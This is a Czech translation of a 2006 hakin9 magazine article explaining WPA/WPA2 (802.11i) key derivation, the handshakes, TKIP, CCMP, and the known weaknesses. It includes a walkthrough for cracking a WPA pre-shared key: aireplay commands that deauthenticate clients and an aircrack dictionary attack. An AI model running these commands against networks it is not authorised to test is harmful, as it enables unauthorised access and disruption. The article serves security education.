EAP přestavuje rámec pro přenos různých autentizačních metod, který dovoluje pouze omezený počet zpráv (Request, Response, Success, Failure), zatímco jiné pomocné zprávy jsou závislé na zvolené autentizační metodě: EAP-TLS, EAP-TTLS, PEAP, Kerberos V5, EAP-SIM a tak dále. Jakmile se celý proces dokončí (kvůli velkému množství možných metod uvádíme podrobné vysvětlení), obě entity (tj. supplicant a autentizátor) mají tajný univerzální klíč. Komunikace mezi autentizátorem a autentizačním serverem pokračuje pomocí protokolu EAPOL (EAP Over LAN), s jehož pomocí se na bezdrátových sítí přenáší data EAP prostřednictvím protokolů na vyšší vrstvě, například Radius. www.hakin9.org hakin9 1/2006 19

Téma čísla V průběhu odvozování klíče nastanou dva handshaky (viz Obrázek 7): 4-Way Handshake pro odvození PTK (Pairwise Transient Key) a GTK (Group Transient Key) Group Key Handshake pro obnovení GTK. Odvození PMK (Pairwise Master Key) závisí na používané autentizační metodě: Obrázek 4. Jednotlivé fáze standardu 802.11i Obrázek 5. Fáze 1: Odsouhlasení bezpečnostních zásad Obrázek 6. Fáze 2: autentizace 802.1X Používá-li se PSK (Pre-Shared Key), PMK = PSK. PSK se generuje z hesla, které tvoří více slov či shluků znaku (od 8 do 63 znaků) nebo 256bitového řetězce a poskytuje řešení pro domácí sítě a malé podniky, které nemají autentizační server. Používá-li se autentizační server, PMK se odvodí z autentizace 802.1X MK. K šifrování nebo kontrolu integrity se však nikdy nebude používat samotný PMK, slouží totiž pro generování dočasného šifrovacího klíče u provozu unicast to je PTK (Pairwise Transient Key). Délka PTK je odvislá od šifrovacího protokolu: 412 bitů u TKIP a 384 bitů u CCMP. PTK se skládá z několika přidělených dočasných klíčů: KCK (Key Confirmation Key 128 bitů): Klíč pro autentizační zprávy (MIC) během 4-Way Handshake a Group Key Handshake, KEK (Key Encryption Key 128 bitů): Klíč pro zajištění utajení dat během 4-Way Handshake a Group Key Handshake, TK (Temporary Key 128 bitů): Klíč pro šifrování dat (používaný TKIP a CMMP), TMK (Temporary MIC Key 2x64 bitů): Klíč pro autentizaci dat (pracuje s ním pouze algoritmus Michael s TKIP). Přidělený klíč se používá na každé straně komunikace. kolekce různých klíčů, které jsou hierarchicky uspořádané. Jakmile se po úspěšné autentizaci stanoví bezpečnostní kontext, vytvoří se dočasné (relační) klíče, které se pravidelně aktualizují, dokud se bezpečnostní kontext nezavře. Generování a výměna klíčů je cílem třetí fáze. Tato hierarchie je shrnuta na Obrázku 8. 4-Way Handshake spuštěný přístupovým bodem umožňuje: 20 hakin9 1/2006 www.hakin9.org

Bezpečnost WEP, WPA a WPA2 potvrdit, že klient zná PMK, odvodit nový PTK, instalovat klíče šifrování a integrity, šifrovat přenos GTK, potvrdit výběr sady šifer. Mezi klientem a přístupovým bodem se v průběhu 4-Way Handshake vymění čtyři zprávy EAPOL-Key. Tento proces je znázorněn na Obrázku 9. PTK se odvodí z PMK, pevného řetězce, MAC adresy přístupového bodu, MAC adresy klienta a dvou náhodných čísel (ANonce a SNonce generovaných autentizátorem a supplicantem v uvedeném pořadí). První zprávu spustí přístupový bod výběrem náhodného čísla ANonce a jeho zasláním supplicantu bez šifrování zprávy nebo jiné ochrany před zfalšováním. Supplicant generuje své vlastní náhodné číslo SNonce a nyní může vypočítat PTK a odvozené dočasné klíče, takže pomocí klíče KCK zašle SNonce a klíč MIC vypočítaný z druhé zprávy. Jakmile autentizátor obdrží druhou zprávu, může vytáhnout SNonce (protože zpráva není šifrována) a vypočítat PTK a odvozené dočasné klíče. Nyní může ověřit hodnotu MIC ve druhé zprávě a tudíž se ujistit, že supplicant zná PMK a má správně vypočítaný PTK a odvozené dočasné klíče. Třetí zpráva zaslaná autentizátorem supplicantu obsahuje GTK (šifrované pomocí klíče KEK), odvozené z náhodného GMK a GNonce (podrobnosti viz Obrázek 10) spolu s MIC vypočítaným ze třetí zprávy pomocí klíče KCK. Když supplicant obdrží zprávu, v rámci zajištění, že autentizátor zná PMK a má správně vypočítaný PTK a odvozené dočasné klíče, se ověří hodnota MIC. Poslední zpráva potvrzuje dokončení celého handshake a udává, že supplicant nyní nainstaluje klíč a spustí šifrování. Při přijetí instaluje autentizátor, jakmile ověří hodnoty MIC, své klíče. Tudíž mobilní zařízení a přístupový bod získaly, vypočítaly a nainstalovaly šifrovací klíče a nyní jsou schopny komunikovat prostřednictvím bezpečného kanálu pro provoz dílčího a skupinového vysílání. Obrázek 7. Fáze 3: Odvození a distribuce klíče Obrázek 8. Fáze 3: Hierarchie párového klíče Provoz skupinového vysílání, nebo-li multicast, je chráněn jiným klíčem GTK (Group Transient Key), který se generuje z master klíče s názvem GMK (Group Master Key), pevného řetězce, MAC adresy přístupového bodu a náhodného číslo GNonce. Délka GTK závisí na šifrovacím protokolu u TKIP má 256 bitů a u CCMP má 128 bitů. GTK se dělí na dočasné klíče: GEK (Group Encryption Key): Klíč pro šifrování dat (používá ho protokol CCMP pro autentizaci a šifrování a protokol TKIP), GIK (Group Integrity Key): Klíč pro autentizaci dat (používá ho pouze algoritmus Michael s protokolem TKIP). Shrnutí této hierarchie je znázorněno na Obrázku 10. Mezi klientem a přístupovým bodem se v průběhu Group Key Handshake vymění dvě zprávy EAPOL-Key. Tento handshake využívá dočasné klíče generované v průběhu 4-Way Handshake (KCK a KEK). Tento proces je znázorněn na Obrázku 11. Group Key Handshake je potřeba pouze k deasociaci hostitele a k obnovení GTK na požadavek klienta. Výběrem náhodného čísla GNonce a vypočítáním nového GTK spustí autentizátor první zprávu. Zašle supplicantu šifrovaný GTK (pomocí KEK), pořadové číslo GTK a kód MIC vypočítaný z této zprávy pomocí KCK. Jakmile supplicant zprávu obdrží, MIC se ověří a je možné GTK dešifrovat. www.hakin9.org hakin9 1/2006 21

Téma čísla Druhá zpráva potvrzuje dokončení Group Key Handshake zasláním pořadového čísla GTK a kódu MIC vypočítaného na této druhé zprávě. Při přijetí autentizátor instaluje nový GTK (po ověření hodnoty MIC). Rovněž existuje STAkey Handshake, avšak o tom až někdy jindy. STAkey Handshake zpřístupněním bodu pro ad-hoc připojení podporuje generování tajného přechodného klíče s názvem STAkey. Fáze 4: Utajení a integrita dat RSNA Všechny dříve generované klíče se používají v protokolech podporující utajení a integritu dat RSNA: TKIP (Temporal Key Hash), CCMP (Counter-Mode/Cipher Block Chaining Message Authentication Code Protocol), WRAP (Wireless Robust Authenticated Protocol). Obrázek 9. Fáze 3: 4-Way Handshake Dříve, než si tyto protokoly podrobně vysvětlíme, je třeba pochopit důležitý koncept : rozdíl mezi MSDU (MAC Service Data Unit) a MPDU (MAC Protocol Data Unit). Obojí se odvolává na jediný paket dat, ale MSDU představuje data před fragmentací, kdežto MPDU představuje více datových jednotek po fragmentaci. Rozdíl je důležitý v šifrování protokolů TKIP a CCMP, jelikož v TKIP se MIC vypočítá z MSDU, kdežto v CCMP se vypočítá z MPDU. Podobně jako protokol WEP i TKIP je založen na šifrovacím algoritmu RC4, avšak to má pouze jeden důvod: umožnit aktualizace systémům WEP za účelem implementace bezpečnějšího protokolu. Protokol TKIP se vyžaduje k certifikaci WPA a rovněž je zahrnut v rámci RSN 802.11i jako volba. Protokol TKIP doplňuje nápravná opatření pro každou dříve zmíněnou zranitelnost WEP: integrita zpráv: nový protokol MIC (Message Integrity Protocol) označovaný jako algoritmus Michael, který lze implementovat na software běžící na pomalých mikroprocesorech, Obrázek 10. Fáze 3: Hierarchie skupinového klíče IV: nová výběrová pravidla pro hodnoty IV, která opětovně používají IV jako čítač opakování (TSC nebo TKIP Sequence Counter) a v rámci zamezení opětovnému použití zvyšují velikost IV. Per Packet Key Mixing: k získání zdánlivě nesouvisejících šifrovacích klíčů, správa klíčů: nový mechanismus pro výměnu a distribuci klíčů. Schéma mixování klíčů protokolu TKIP se dělí na dvě fáze: První fáze zahrnuje statická data tajný relační klíč TEK, vysílač MAC adresy TA (obsažený k zamezení kolizí vektorů IV) a horních 32 bitů vektoru IV. Druhá fáze zahrnuje výstup první fáze a dol- 22 hakin9 1/2006 www.hakin9.org

Bezpečnost WEP, WPA a WPA2 ních 16 bitů vektoru IV, které pro každý nový vektor IV mění všechny bity pole Per Packet Key. Hodnota vektoru IV vždy začíná 0 a zvyšuje se o 1 pro každý zaslaný paket s jakýmikoli zprávami, jejichž TSC není větší než TSC naposledy vyřazené zprávy. Vstupem algoritmu RC4 generující proud klíčů, který je XOR-ovaný pomocí nešifrované MPDU, hodnoty MIC vypočítané z MPDU a starého ICV z WEP (viz Obrázek 12), je výstup druhé fáze a část rozšířeného vektoru IV (a dummy bajt) generující proud klíčů. Při výpočtu kódu MIC se používá algoritmus Michael od Nielse Fergusona. Byl vytvořen pro protokol TKIP a jeho cílová bezpečnosti je na úrovni 20 bitů (z výkonnostního hlediska nepoužívá algoritmus násobení, jelikož musí být podporován na starém bezdrátovém hardwaru, který bude později rozšířen na WPA). Kvůli tomuto omezení je třeba podniknout protiopatření, abychom se vyhnuli podvržení kódu MIC. Za minutu nesmí nastat více než dvě selhání MIC, jinak se vynutí 60ti sekundový výpadek a musí být poté stanoveny nové klíče (GTK a PTK). Algoritmus Michael vypočítá osmi oktetovou kontrolní hodnotu označovanou jako kód MIC a před přenosem ji připojí k MSDU. Kód MIC se vypočítá ze zdrojové adresy (SA), cílové adresy Obrázek 11: Fáze 3: Group Key Handshake (DA), nešifrovaného (plaintext) MSDU a příslušného TMK (v závislosti na komunikační straně se pro přenos a přijetí používají odlišné klíče). Protokol CCMP je založen na skupině blokových šifer AES (Advanced Encryption Standard) v jejich provozním režimu CCM s klíčem a bloky o délce 128 bitů. AES představuje pro protokol CCMP totéž, čím je RC4 pro protokol TKIP, avšak na rozdíl od TKIP, jehož záměrem bylo přizpůsobit se stávajícímu hardwaru WEP, CCMP nepředstavuje žádný kompromis, nýbrž zcela nový návrh protokolu. Protokol CCMP vytváří kód MIC pomocí režimu čítače a metody autentizace zprávy označované jako Cipher Block Chaining (CBC-MAC). Rovněž byly přidány určité zajímavé funkcionality, například použití jediného klíče k šifrování a autentizaci (s různými inicializačními vektory) nebo pokrývání nešifrovaných dat pomocí autentizace. Protokol CCMP přidává k MPDU 16 bajtů: 8 bajtů pro hlavičku CCMP a 8 bajtů pro MIC. Hlavička CCMP je nešifrované pole obsažené mezi hlavičkou MAC a šifrovanými daty obsahující 48bitové PN (Packet Obrázek 12. Schéma mixování klíčů TKIP a šifrování www.hakin9.org hakin9 1/2006 23

Téma čísla Obrázek 13. Výpočet MIC pomocí algoritmu Michael Number = rozšířený IV) a Group Key KeyID. Pro každou následnou MPDU se PN zvýší o hodnotu jedna. K získání konečného kódu MIC o velikosti 64 bitů (konečný kód MIC je 128bitový blok, jelikož dolních 64 bitů se vyřadí) využívá výpočet MIC algoritmus CBC-MAC, který šifruje počáteční nonce blok (vypočítaný z polí Priority, zdrojové adresy MPDU a zvýšeného PN) a XORy následných bloků. Následně se kód MIC připojí k nešifrovaným datům pro šifrování AES v režimu čítače. Čítač se sestaví z nonce, které se podobá nonce MIC, ale má zvláštní pole čítače s výchozí hodnotu 1, které se zvýší pro každý blok. Posledním protokolem je WRAP, který je rovněž založen na AES, avšak používá režim OCB (Offset Codebook Mode) autentizovaného šifrovacího schématu (šifrování a autentenizace se provede v jediném výpočtu). Pracovní skupina IEEE 802.11i nejprve vybrala režim OCB, ale posléze se kvůli problémům s duševním vlastnictvím a možným licenčním poplatkům od něj upustilo. Následně byl přijat protokol CCMP jako povinný. Slabá místa WPA/ WPA2 I když od vydání WPA/WPA2 byla odhalena celá řada méně důležitých slabých míst, žádné z nich nejsou příliš nebezpečná, pokud jsou dodržovány následující jednoduchá bezpečnostní doporučení. Nejpraktičtější zranitelností je útok na klíč PSK WPA/WPA2. Jak jsme se dříve zmínili, PSK poskytuje alternativu ke generování 802.1x PMK pomocí autentizačního serveru. Jedná se o řetězec s 256 bity nebo heslo skládající se z 8 až 63 znaků, které slouží pro generování takového řetězce pomocí známého algoritmu: PSK = PMK = PBKDF2(heslo, SSID, délka SSID, 4096, 256), kde PBKDF2 je metoda používaná v PKCS#5, 4096 je počet hašů a 256 je délka výstupu. PTK je odvezen z PMK pomocí 4-Way Handshake a všechny informace, které slouží k výpočtu jeho hodnoty, se přenáší jako nešifrovaný text. Síla PTK závisí tedy pouze na hodnotě PMK, která v podstatě pro PSK znamená sílu hesla. Jak uvádí Robert Moskowitz, druhá zpráva 4-Way Handshake by mohla být předmětem, jak slovníkových, tak offline útoků typu brute-force. Ke zneužití této trhliny v bezpečnosti byla vytvořena utilita cowpatty, jejíž zdrojový kód použil a vylepšil Christophe Devine v nástroji Aircrack, aby umožnil slovníkové útoky a útoky typu brute-force na WPA. Návrh protokolu (4096 hašů na každý pokus hesla) znamená, že útoky brute-force jsou velmi pomalé (pouze několik stovek hesel za sekundu pomocí nejnovějšího samostatného procesoru). PMK nelze vypočítat dopředu, jelikož heslo je na základě ESSID dodatečně zakódováno. K účinné ochraně před touto trhlinou v zabezpečení je třeba zvolit vhodné, neslovníkové Obrázek 14. Šifrování protokolu CCMP 24 hakin9 1/2006 www.hakin9.org

Bezpečnost WEP, WPA a WPA2 Výpis 7. Odhalování sousedních sítí # airodump ath0 wpa-crk 0 BSSID PWR Beacons # Data CH MB ENC ESSID 00:13:10:1F:9A:72 56 112 16 1 48 WPA hakin9demo BSSID STATION PWR Packets ESSID 00:13:10:1F:9A:72 00:0C:F1:19:77:5C 34 1 hakin9demo Výpis 8. Spuštění slovníkového útoku $ aircrack -a 2 -w some_dictionnary_file -0 wpa-psk.cap Opening wpa-psk.cap Read 541 packets. BSSID ESSID Encryption 00:13:10:1F:9A:72 hakin9demo WPA (1 handshake) přístupový bod s BSSID 00:13:10:1F: 9A:72 využívající šifrování WEP na kanálu 1 s identifikátorem SSID hakin9demo a jeden klient identifikovaný pomocí MAC 00:0C:F1:19:77:5C (což znamená, že 4-Way Handshake byl již pro tohoto klienta proveden). Po nalezení cílové sítě by se mělo zahájit zachytávání na správném kanálu, abychom při skenování jiných kanálů nepřišli o nějaké žadoucí pakety. # airodump ath0 wpa-psk 1 Legitimní klienti by se poté měli deasociovat, což je přinutí spustit novou asociaci a dovolí nám zachytit zprávy 4-Way Handshake. Pro tento útok se rovněž používá nástroj Aireplay, který zasíláním podvrženého požadavku diasociuje vybrané klienty se specifikovaným BSSID : # aireplay -0 1 -a <BSSID> -c <client_mac> ath0 Obrázek 15. Nástroj Aircrack nalezl slabý WPA PSK heslo skládající se z více slov či shluků znaků (alespoň 20 znaků). K provedení tohoto útoku musí útočník pasivním sledováním bezdrátového sítě nebo pomocí deautentizačního útoku (jak jsme si popsali dříve) zachytit zprávy 4-Way Handshake, aby proces zrychlil. První dvě zprávy jsou ve skutečnosti vyžadovány ke spuštění hádání hodnot PSK. Pamatujte si, že PTK = PRF-X (PMK, rozšíření párového klíče, Min(AP_Mac, STA_Mac) Max(AP_Mac, STA_Mac) Min(A- Nonce, SNonce) Max(ANonce, SNonce)), kde PMK se v našem případě rovná PSK. Po druhé zprávě útočník zná ANonce (z první zprávy) a SNonce (z druhé zprávy) a může začít hádat hodnotu PSK pro vypočítání PTK a odvozených dočasných klíčů. Uhodne-li správně hodnodu PSK, lze získat kód MIC druhé zprávy pomocí odpovídajícího KCK jinak se musí provést další hádání. Nyní se podíváme na praktický příklad. Začíná stejně jako náš příklad nabourávání WEP. Prvním krokem je aktivace monitorovacího režimu: # airmon.sh start ath0 V dalším kroku se odhalí sousední sítě a k nim asociovaní klienti (viz Výpis 7). Výsledek by mohl být interpretován následovně: k této bezdrátové síti je asociován a autentizován jeden Posledním krokem je spustit slovníkový útok pomocí Aircrack (viz Výpis 8). Výsledky jsou znázorněny na Obrázku 15. Další hlavním slabým místem WPA je možnost DoS v průběhu 4-Way Handshake. Changhua He a John C. Mitchell si všimli, že první zpráva 4-Way Handshake není autentizována a každý klient musí uchovávat každou první zprávu, dokud neobdrží platnou (podepsanou) třetí zprávu, což ponechává klienta potenciálně zranitelného před vyčerpáním paměti. Spoofingem první zprávy zaslané přístupovým bodem může útočník provést útok DoS na klienta, pokud dovoluje existenci několika souběžných relací. Michael Message Integrity Code má rovněž známé slabé místo vyplývající z jeho návrhu. Bezpečnost algoritmu Micheal závisí na tom, jestli je komunikace šifrována. I když šifrované kódy MIC jsou obvykle navrženy tak, aby odolávaly známým útokům na nešifrované zprávy (kdy útočník má nešifrovanou zprávu a její kód MIC), algoritmus Michael není před takovými útoky chráněn, jelikož je invertibilní. Tajný klíč MIC je mož- www.hakin9.org hakin9 1/2006 25

Téma čísla Slovník pojmů AP Přístupový bod, základní stanice pro síť Wi-Fi, která připojí klienty bezdrátové sítě mezi sebou navzájem a k normálním sítím. ARPAddress Resolution Protocol, protokol pro překlad IP adres na MAC adresy. BSSID Basic Service Set Identifier, MAC adresa přístupového bodu. CCMP Counter-Mode / Cipher Block Chaining Message Authentication Code Protocol, šifrovací protokol používaný ve WPA2, založený na skupině blokových šifer AES. CRC Cyclic Redundancy Check, pseudo-integritní algoritmus používaný v protokolu WEP (slabé místo). EAP Extensible Authentication Protocol, rámec pro různé autentizační metody. EAPOL EAP Over LAN, protokol používaný na bezdrátových sítích pro přenos EAP. GEK Group Encryption Key, klíč pro šifrování dat v provozu skupinového vysílání- multicast (také se používá pro integritu v protokolu CCMP). GIK Group Integrity Key, klíč pro šifrování dat v provozu skupinového vysílání (používaný v protokolu TKIP). GMK Group Master Key, hlavní klíč hierarchie skupinových klíčů. GTK Group Transient Key, klíč odvozený z GMK. ICV Integrity Check Value, datové pole připojené k nešifrovaným datům pro integritu (založené na slabém algoritmu CRC32). IV Inicializační vektor, data spojená s šifrovacím klíčem k vytvoření jedinečného proudu klíčů. KCK Key Confirmation Key, klíč integrity chránící zprávy handshake. KCK Key Encryption Key, klíč utajení chránící zprávy handshake. MIC Message Integrity Code, datové pole připojené k nešifrovaným datům pro integritu (na základě algoritmu Michael). MK Master Key, hlavní klíč poznaný supplicantem a autentizátorem po autentizačním procesu 802.1x. MPDU Mac Protocol Data Unit, datový paket před fragmentací. MSDU Mac Service Data Unit, datový paket po fragmentaci. PAE Port Access Entity, logický port 802.1x. PMK Pairwise Master Key, hlavní klíč hierarchie párových klíčů. PSK Pre-Shared Key, klíč odvozený z hesla nahrazující PMK, který běžně vydává skutečný autentizační server. PTK Pairwise Transient Key, klíč odvozený z PMK. RSN Robust Security Network, bezpečnostní mechanismus 802.11i (TKIP, CCMP atd.). RSNA Robust Security Network Association, bezpečnostní asociace používaná v RSN. RSN IE Robust Security Network Information Element, pole obsahující informace RSN obsažené v Probe Response a Association Request. SSID Service Set Identifier, identifikátor bezdrátové sítě (není stejný jako ESSID). STA Station, bezdrátový klient. TK Temporary Key, klíč pro šifrování dat v provozu unicast (rovněž slouží ke kontrole integrity v CCMP). TKIP Temporal Key Integrity Protocol, šifrovací protokol používaný v WPA založený na algoritmu RC4 (jako WEP). TMK Temporary MIC Key, klíč pro integritu dat v provozu unicast (používaný v protokolu TKIP). TSC TKIP Sequence Counter, čítač opakování používaný v protokolu TKIP (není stejný jako rozšířený IV). TSN Transitional Security Network, bezpečnostní mechanismus před standardem 802.11i (WEP atd.). WEP Wired Equivalent Privacy, výchozí šifrovací protokol pro sítě 802.11. WPA Wireless Protected Access, implementace rané verze standardu 802.11i, založená na šifrovacím algoritmu TKIP. WRAP Wireless Robust Authenticated Protocol, starý šifrovací protokol používaný ve WPA2. né odhalit na základě jediné známé zprávy a hodnoty jejího kódu MIC, takže je rozhodující uchovat hodnotu MIC v tajnosti. Poslední známé slabé místo je teoretická možnost útoku na Temporal Key Hash WPA, což za určitých okolností (znalosti několika klíčů RC4) má za následek zjednodušení útoku (od 128 do 105). Protokoly WPA/WPA2 jsou také náchylné ke zranitelnostem ovlivňující jiné mechanismy standardu 802.11i, například útoky pomocí spoofování zpráv 802.1X (EAPoL Logoff, EAPoL Start, EAP Failure atd.), které poprvé popsal William A. Arbaugh a Arunesh Mishra. Tyto útoky jsou provdeditelné v důsledku nedostatku autentizace. V neposlední řadě je důležité si všimnout, že použití protokolu WPA/WPA2 neposkytuje žádnou ochranu proti útokům na podkladové technologie, například záměrné rušení radiofrekvence, útoky DoS prostřednictvím porušení 802.11, deautentizace, deasociace a podobně. WPA/WPA2 implementace OS Ve Windows není podpora WPA2 vestavěna, proto byla 26. dubna 2005 vydána aktualizace Windows XP SP2 (KB893357), která doplňuje WPA2 a zlepšuje detekci sítě (viz Obrázek 16). Jiné operační systémy od Microsoftu musí používat externí supplicanty (komerční nebo open- -source, například wpa_supplicant verze pro Windows je zkušební). Na Linuxu a *BSD byl wpa_supplicant v době vydání standardu 802.11i připraven na WPA2. Externí supplicanty podporují velké množství metod EAP a funkce pro správu klíčů WPA, WPA2 a WEP. Je možné deklarovat několik sítí s různým šifrováním, správou klíčů a metodami EAP jednoduchý konfigurační soubor WPA2 je uveden na Výpisu 9. Výchozím umístěním konfiguračního 26 hakin9 1/2006 www.hakin9.org

Bezpečnost WEP, WPA a WPA2 O autorovi Guillaume Lehembre je francouzský bezpečnostní konzultant. Od roku 2004 pracuje ve společnosti HSC (Hervé Schauer Consultants http:// www.hsc.fr). V průběhu své pestré profesní kariéry se zabýval audity, studiemi a testy průniků a získával zkušenosti v oblasti bezdrátové bezpečnosti. Kromě toho také pronášel veřejné přednášky a publikoval materiály o bezpečnosti. Guillauma můžete kontaktovat na adrese: Guillaume.Lehembre@hsc.fr. souboru wpa_supplicant je adresář /etc/wpa_supplicant.conf a soubor by měl být přístupný pouze pro uživatele root. Démon wpa_supplicant by měl být nejprve spuštěn s právy root v ladícím režimu (volba -dd), s podporou správného ovladače (v našem příkladě se jedná o volbu -D madwi-fi k podpoře chipsetu Atheros), názvem rozhraní (volba -i, v našem V Síti Výpis 9. Příklad konfiguračního souboru wpa_supplicant pro WPA2 ap_scan=1 # Scan radio frequency # and select appropriate access point network={ # First wireless network ssid="some_ssid" # SSID of the network scan_ssid=1 # Send Probe Request to find hidden SSID proto=rsn # RSN for WPA2/IEEE 802.11i key_mgmt=wpa-psk # Pre-Shared Key authentication pairwise=ccmp # CCMP protocol (AES encryption) psk=1232813c587da145ce647fd43e5908abb45as4a1258fd5e410385ab4e5f435ac } případě to je ath0) a cestou ke konfiguračnímu souboru (volba -c): # wpa_supplicant -D madwi-fi -dd -c /etc/wpa_supplicant.conf -i ath0 http://standards.ieee.org/getieee802/download/802.11i-2004.pdf standard IEEE 802.11i, http://www.awprofessional.com/title/0321136209 kniha Real 802.11 Security Wi-Fi Protected Access and 802.11i (John Edney, William A. Arbaugh) Addison Wesley ISBN: 0-321-13620-9, http://www.cs.umd.edu/~waa/attack/v3dcmnt.htm dokument o induktivnímu útok proti WEP/WEP2 (Arbaugh) http://www.drizzle.com/~aboba/ieee/rc4_ksaproc.pdf Slabá místa v algoritmu RC4 (Fluhrer, Mantin, Shamir), http://www.dachb0den.com/projects/bsd-airtools/wepexp.txt optimalizace h1kari, http://www.isaac.cs.berkeley.edu/isaac/mobicom.pdf Odposlouchávání mobilní komunikace: Nedostatečná bezpečnost 802.11 (Borisov, Goldberg, Wagner) http://airsnort.shmoo.com/ AirSnort, http://www.cr0.net:8040/code/network/aircrack/ Aircrack (Devine), http://weplab.sourceforge.net/ Weplab (Sanchez), http://www.wi-finetnews.com/archives/002452.html slabá místa WPA PSK (Moskowitz), http://new.remote-exploit.org/images/5/5a/cowpatty-2.0.tar.gz Cowpatty WPA- -PSK Crackovací nástroje, http://byte.csc.lsu.edu/~durresi/7502/reading/p43-he.pdf analýzy 4-Way Handshake standardu 802.11i, http://www.cs.umd.edu/%7ewaa/1x.pdf počáteční bezpečnostní analýzy standardu IEEE 802.1X (Arbaugh, Mishra), http://support.microsoft.com/?kbid=893357 aktualizace WPA2 pro Microsoft Windows XP SP2, http://hostap.epitest.fi/wpa_supplicant/ wpa_supplicant, http://www.securityfocus.com/infocus/1814 WEP: Dead Again, část 1, http://www.securityfocus.com/infocus/1824 WEP: Dead Again, část 2, Výstup všech výše popsaných teoretických postupů se provede v ladícím režimu (asociace AP, autentizace 802.1X, 4-Way Handshake a tak dále). Jakmile vše funguje, měl by se spustit wpa_supplicant v režimu démon (nahrazením volby -dd za -B). Podpora protokolu WPA2 se dostala na platformu Macintosh s vydáním aktualizace softwaru Apple AirPort s číslem 4.2: AirPort Extreme Macintosh, AirPort Extreme Base Station a AirPort Express. Shrnutí Je zřejmé, že šifrování WEP neposkytuje dostatečnou bezpečnost pro bezdrátové sítě a lze ho používat pouze ve spojení s šifrovacími řešením na vyšší úrovní (například VPN). WPA představuje bezpečné řešení pro rozšiřitelná zařízení, která nepodporují WPA2. WPA2 se však již brzy stane standardem pro bezdrátovou bezpečnost. Nezapomeňte umístit své bezdrátové zařízení do filtrované zóny a mít pro velmi důležité sítě připraveno klasické připojení úmyslné rušení radiofrekvence a nízkoúrovňové útoky (porušení standardu 802.11, falešná deasociace a podobně) mohou mít stále zničující účinky. Obrázek 16. Podpora WPA2 ve Windows XP SP2 www.hakin9.org hakin9 1/2006 27